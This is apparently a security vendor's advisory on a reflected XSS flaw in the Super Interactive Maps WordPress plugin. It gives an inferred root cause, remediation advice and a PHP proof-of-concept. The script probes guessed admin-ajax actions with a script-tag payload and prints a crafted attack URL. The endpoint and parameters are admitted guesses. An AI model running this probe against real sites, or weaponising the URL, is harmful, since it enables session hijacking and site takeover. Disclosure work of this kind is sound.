Atomic Edge analysis of CVE-2025-49045 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) flaw in the Super Interactive Maps WordPress plugin, affecting all versions up to and including 2.3. The vulnerability stems from insufficient input sanitization and output escaping within one or more plugin endpoints, allowing unauthenticated attackers to inject malicious scripts. The CVSS score of 6.1 (Medium) reflects a network-based attack requiring user interaction but leading to limited compromise in the victim’s browser context.
Atomic Edge research identifies the root cause as CWE-79, improper neutralization of input during web page generation. The vulnerability description confirms a lack of adequate input sanitization and output escaping. Without access to the patched code, Atomic Edge infers the vulnerable component is likely a public-facing AJAX handler or a shortcode callback that echoes user-supplied data, such as a map ID or search parameter, directly into the server response without proper escaping functions like `esc_html()` or `esc_js()`.
Exploitation requires an attacker to craft a malicious URL containing a JavaScript payload in a vulnerable parameter. A victim must be tricked into clicking this link while authenticated to WordPress, though the attacker requires no authentication. Based on WordPress plugin patterns, the likely attack vector is a GET request to `/wp-admin/admin-ajax.php` with an `action` parameter prefixed by the plugin slug, such as `super_interactive_maps_search`. The malicious payload would be placed in another parameter, for example `search_term=alert(document.domain)`. The plugin then reflects this unsanitized input into the AJAX response.
Remediation requires implementing proper input validation and contextual output escaping. The plugin developers must audit all user-input handling functions, particularly those echoing data via `echo` or `print`. Input should be validated against a strict allowlist where possible. All dynamic content output must use appropriate WordPress escaping functions (`esc_html`, `esc_attr`, `esc_js`, `wp_kses`) based on the output context (HTML body, attribute, JavaScript). Nonces should also be added to authenticated actions, though this would not prevent unauthenticated reflected XSS.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the victim’s browser session. This can lead to session hijacking if the attacker steals cookies, site defacement, or redirection to malicious sites. If the victim has administrative privileges, the attacker could create new administrator accounts, inject backdoors, or manipulate site content. The scope change (S:C) in the CVSS vector indicates the impact can affect user interactions with the vulnerable site, not just the vulnerable page itself.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-49045 - Super Interactive Maps <= 2.3 - Reflected Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-49045.
* This script demonstrates a reflected XSS attack against the Super Interactive Maps plugin.
* The exact vulnerable endpoint and parameter are inferred from common WordPress plugin patterns.
* Assumptions:
* 1. The vulnerable endpoint is the WordPress AJAX handler (`admin-ajax.php`).
* 2. The vulnerable AJAX action is derived from the plugin slug (e.g., 'super_interactive_maps_action').
* 3. The vulnerable parameter is named 'map_id' or 'search' (common map plugin parameters).
* 4. The plugin echoes the unsanitized parameter value back in the response.
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Construct the likely vulnerable AJAX endpoint.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Assume the AJAX action hook. Common patterns: '{plugin_slug}_action', 'sim_action', 'super_interactive_maps_search'.
// We test a few plausible actions.
$possible_actions = [
'super_interactive_maps_action',
'sim_action',
'super_interactive_maps_search',
'super_interactive_maps_get_map'
];
// A basic XSS payload to test for reflection.
$payload = '<script>alert("XSS: "+document.domain)</script>';
foreach ($possible_actions as $action) {
echo "[+] Testing AJAX action: $actionn";
// Test with a 'map_id' parameter.
$params = [
'action' => $action,
'map_id' => $payload
];
$url = $ajax_url . '?' . http_build_query($params);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
// Follow redirects if any.
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check if the payload is reflected unsanitized.
if (strpos($response, $payload) !== false) {
echo "[!] Potential vulnerability FOUND with action '$action' and parameter 'map_id'.n";
echo "[!] Payload reflected in response. Crafted URL:n";
echo " $urln";
break;
}
// Test with a 'search' parameter.
$params = [
'action' => $action,
'search' => $payload
];
$url = $ajax_url . '?' . http_build_query($params);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if (strpos($response, $payload) !== false) {
echo "[!] Potential vulnerability FOUND with action '$action' and parameter 'search'.n";
echo "[!] Payload reflected in response. Crafted URL:n";
echo " $urln";
break;
}
}
echo "[+] PoC scan complete. If no findings, the exact endpoint/parameter may differ.n";
?>
